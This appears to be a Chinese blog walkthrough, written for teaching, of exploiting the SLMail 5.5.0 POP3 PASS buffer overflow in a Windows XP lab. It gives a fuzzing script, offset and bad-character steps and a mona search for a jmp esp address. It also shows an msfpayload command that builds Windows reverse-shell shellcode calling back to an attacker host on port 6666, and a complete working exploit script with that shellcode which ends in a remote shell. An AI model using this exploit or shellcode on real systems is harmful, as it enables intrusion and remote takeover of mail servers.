原文链接
在我大二时任技术交流协会信安部部长时我曾给学弟学妹们介绍过这个关于SLMail
的缓冲区溢出漏洞,给他们讲的原因是想扩展一下他们的知识面,现在我再重新温习一下这个漏洞来跟现阶段学习的Linux缓冲区漏洞做一个对比
首先需要搭建实验环境,系统可选用Windows_XP
,因为Windows7及以上的系统内置了多种安全措施使得此漏洞难以利用,本实验用到的软件及下载链接如下:
SLMail 5.5.0 Mail Server
ImmunityDebugger_1_85_setup
mona.py
其中软件的安装都按照默认安装即可,mona.py需要放到Immunity Debugger的安装目录中:\Immunity Inc\Immunity Debugger\PyCommands
至此环境配置完成,查看一下邮件的相关服务是否已经开启
netstat -nao
win+r
向运行窗口中输入services.msc
查看相关服务的状态
可以看到服务已经启动
此时打开Immunity Debugger
,点击菜单栏中的File
选中Attach
选择如图的进程,此进程监听的端口包含110端口
附加此进程后调试器界面如下
此调试器的各个窗口我就不多介绍了,跟其他调试器大同小异
附加到进程后此进程会进入暂停状态,需要点击运行按钮使此进程正常进行
程序正常运行后可以打开Kali Linux对此进程进行远程连接
我们已知此程序的PASS字段存在缓冲区溢出漏洞,现需确认产生溢出的位置,可使用脚本对不同长度的PASS字段的值进行FUZZ
测试,当socket连接失败时及代表程序崩溃,已产生溢出,也可以使用pattern_creat
产生足够长度的字符串
FUZZ脚本如下
#/usr/bin/python
#coding:utf-8
from pwn import *
payload="PASS "
len=0
while 1:
r=remote('192.168.229.134',110)
r.send("USER administrator\n")
print r.recv()
payload+="A"*200
len+=200
print "sending payload length: "+str(len)
r.send(payload)
r.send("\n")
print r.recv()
运行此脚本后发现当程序发送2600个A之后卡住,回到WindowsXP
查看调试器发现程序已经崩溃,且EIP内全部填充为了41即A的Hex ASCII码
因此可以确定溢出处位置再2600-2700之间,此时我们需要重新启动此服务,我们可以借助pattern_creat
和pattern_offset
这两个指令来进一步确定溢出点
这两个指令可以在/usr/share/metasploit-framework/tools/exploit/
目录下找到,也可以直接用GDB
即可生成2700个具有位置特征的字符串
使用此字符串填充PASS字段:
发送后发现程序无回显
进入Windows_XP中发现程序再次崩溃且EIP寄存器中的内容为45417845
而寄存器采用大端序存储数据即高字节保存在内存的低地址,因而EIP寄存器中的内容是45 78 41 45
,按照ASCII转化为字符为:ExAE
使用pattern_offset指令来找到这个字符串的位置
到这里我们已经确定了溢出产生的位置,另外我们可以看到ESP
寄存器中的数据填充着2610个字符之后的字符,选中ESP并点击右键
可以看到如下内容
可以通过起始地址和结束地址计算出ESP寄存器的大小为424字节,完全可以放进去一个shellcode
,因此我们可以把Shellcode
放到ESP
里面,但是我们在编写shellcode的时候需要注意“坏字符”的影响,即有的字符在系统中有不同的涵义如:
这些坏字符可能会对shellcode的正常运行和写入造成影响,我们需要把这些坏字符给找出来,通过连续发送0x00~0xff之间的字符,再对比ESP寄存器中的数据,找出如下的坏字符:
0A
、0D
、00
坏字符找到了我们可以把去掉坏字符的shellcode放到ESP中,但是ESP的地址会发生变化,我们无法通过将ESP的地址EIP中来完成指令的跳转,因此我们需要找到一个跳板,即再内存中寻找一个位置固定的指令jmp esp
,然后通过这个指令使得ESP中的代码得到执行,这里就用到mona.py了
使用!mona modules
指令查看模块
如图示,这是进程的安全措施,我们需要找没有安全措施保护的模块,即值为False
其中Rebase
表示重启后是否会改变地址、False即不改变;SafeSEH
、ASLR
、NXCompat
这三项都是Windows相关的安全机制;OS Dll
表示是否是OS自带的库。即前四列选False,最后一列选True。
符合以上条件的模块有三个,从这三个模块中逐一尝试寻找jmp esp
指令
可使用/usr/share/metasploit-framework/tools/exploit
目录下的nasm_shell.rb
来得到jmp esp
的十六进制形式
通过指令
!mona find -s "\xff\xe4" -m SLMFC.dll
在SLMFC.dll
寻找FFE4
,共找到19个结果:
右键选中并复制此指令的地址
将此地址粘贴到脚本内
#/usr/bin/python
#coding:utf-8
from pwn import *
payload="PASS "
r=remote('192.168.229.134',110)
print r.recv()
r.send("USER administrator\n")
print r.recv()
payload+="A"*2606+p32(0x5F4A358F)+"b"*400+"\n"
r.send(payload)
print payload
print r.recv()
运行脚本
此时EIP指向ESP,说明这个地址的jmp esp
产生了效果,我们可以将shellcode放入ESP中了
⚡ root@kali /usr/share/framework2 ./msfpayload win32_reverse EXITFUNC=thread LHOST=192.168.229.136 LPORT=6666 R | ./msfencode -b "\x00\x0a\x0d"
[*] Using Msf::Encoder::PexFnstenvMov with final size of 310 bytes
"\x6a\x48\x59\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x76\x3a\x2f".
"\x54\x83\xeb\xfc\xe2\xf4\x8a\x50\xc4\x19\x9e\xc3\xd0\xab\x89\x5a".
"\xa4\x38\x52\x1e\xa4\x11\x4a\xb1\x53\x51\x0e\x3b\xc0\xdf\x39\x22".
"\xa4\x0b\x56\x3b\xc4\x1d\xfd\x0e\xa4\x55\x98\x0b\xef\xcd\xda\xbe".
"\xef\x20\x71\xfb\xe5\x59\x77\xf8\xc4\xa0\x4d\x6e\x0b\x7c\x03\xdf".
"\xa4\x0b\x52\x3b\xc4\x32\xfd\x36\x64\xdf\x29\x26\x2e\xbf\x75\x16".
"\xa4\xdd\x1a\x1e\x33\x35\xb5\x0b\xf4\x30\xfd\x79\x1f\xdf\x36\x36".
"\xa4\x24\x6a\x97\xa4\x14\x7e\x64\x47\xda\x38\x34\xc3\x04\x89\xec".
"\x49\x07\x10\x52\x1c\x66\x1e\x4d\x5c\x66\x29\x6e\xd0\x84\x1e\xf1".
"\xc2\xa8\x4d\x6a\xd0\x82\x29\xb3\xca\x32\xf7\xd7\x27\x56\x23\x50".
"\x2d\xab\xa6\x52\xf6\x5d\x83\x97\x78\xab\xa0\x69\x7c\x07\x25\x79".
"\x7c\x17\x25\xc5\xff\x3c\xb6\x92\xca\xdc\x10\x52\x35\x5e\x10\x69".
"\xa6\xb5\xe3\x52\xc3\xad\xdc\x5a\x78\xab\xa0\x50\x3f\x05\x23\xc5".
"\xff\x32\x1c\x5e\x49\x3c\x15\x57\x45\x04\x2f\x13\xe3\xdd\x91\x50".
"\x6b\xdd\x94\x0b\xef\xa7\xdc\xaf\xa6\xa9\x88\x78\x02\xaa\x34\x16".
"\xa2\x2e\x4e\x91\x84\xff\x1e\x48\xd1\xe7\x60\xc5\x5a\x7c\x89\xec".
"\x74\x03\x24\x6b\x7e\x05\x1c\x3b\x7e\x05\x23\x6b\xd0\x84\x1e\x97".
"\xf6\x51\xb8\x69\xd0\x82\x1c\xc5\xd0\x63\x89\xea\x47\xb3\x0f\xfc".
"\x56\xab\x03\x3e\xd0\x82\x89\x4d\xd3\xab\xa6\x52\xc0\x9a\x96\x5a".
"\x7c\xab\xa0\xc5\xff\x54";
使用以上命令生成去除坏字符的shellcode,得到完整的攻击脚本:
#/usr/bin/python
#coding:utf-8
from pwn import *
shellcode = (
"\x6a\x48\x59\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x76\x3a\x2f"+
"\x54\x83\xeb\xfc\xe2\xf4\x8a\x50\xc4\x19\x9e\xc3\xd0\xab\x89\x5a"+
"\xa4\x38\x52\x1e\xa4\x11\x4a\xb1\x53\x51\x0e\x3b\xc0\xdf\x39\x22"+
"\xa4\x0b\x56\x3b\xc4\x1d\xfd\x0e\xa4\x55\x98\x0b\xef\xcd\xda\xbe"+
"\xef\x20\x71\xfb\xe5\x59\x77\xf8\xc4\xa0\x4d\x6e\x0b\x7c\x03\xdf"+
"\xa4\x0b\x52\x3b\xc4\x32\xfd\x36\x64\xdf\x29\x26\x2e\xbf\x75\x16"+
"\xa4\xdd\x1a\x1e\x33\x35\xb5\x0b\xf4\x30\xfd\x79\x1f\xdf\x36\x36"+
"\xa4\x24\x6a\x97\xa4\x14\x7e\x64\x47\xda\x38\x34\xc3\x04\x89\xec"+
"\x49\x07\x10\x52\x1c\x66\x1e\x4d\x5c\x66\x29\x6e\xd0\x84\x1e\xf1"+
"\xc2\xa8\x4d\x6a\xd0\x82\x29\xb3\xca\x32\xf7\xd7\x27\x56\x23\x50"+
"\x2d\xab\xa6\x52\xf6\x5d\x83\x97\x78\xab\xa0\x69\x7c\x07\x25\x79"+
"\x7c\x17\x25\xc5\xff\x3c\xb6\x92\xca\xdc\x10\x52\x35\x5e\x10\x69"+
"\xa6\xb5\xe3\x52\xc3\xad\xdc\x5a\x78\xab\xa0\x50\x3f\x05\x23\xc5"+
"\xff\x32\x1c\x5e\x49\x3c\x15\x57\x45\x04\x2f\x13\xe3\xdd\x91\x50"+
"\x6b\xdd\x94\x0b\xef\xa7\xdc\xaf\xa6\xa9\x88\x78\x02\xaa\x34\x16"+
"\xa2\x2e\x4e\x91\x84\xff\x1e\x48\xd1\xe7\x60\xc5\x5a\x7c\x89\xec"+
"\x74\x03\x24\x6b\x7e\x05\x1c\x3b\x7e\x05\x23\x6b\xd0\x84\x1e\x97"+
"\xf6\x51\xb8\x69\xd0\x82\x1c\xc5\xd0\x63\x89\xea\x47\xb3\x0f\xfc"+
"\x56\xab\x03\x3e\xd0\x82\x89\x4d\xd3\xab\xa6\x52\xc0\x9a\x96\x5a"+
"\x7c\xab\xa0\xc5\xff\x54")
payload="PASS "
r=remote('192.168.229.134',110)
print r.recv()
r.send("USER administrator\n")
print r.recv()
payload+="A"*2606+p32(0x5F4A358F)+"A"*8+shellcode+"\n"
'''在shellcode之前添加8个字节以保证shellcode的完整性'''
r.send(payload)
print payload
print r.recv()
在本地6666端口监听,运行此脚本得到反弹的shell:
漏洞利用成功!
GitHub
上下载mona
的时候我用系统自带的笔记本粘贴mona
结果在immunity
中无法使用,因为粘贴的不完整,需要用notepad
等编辑器粘贴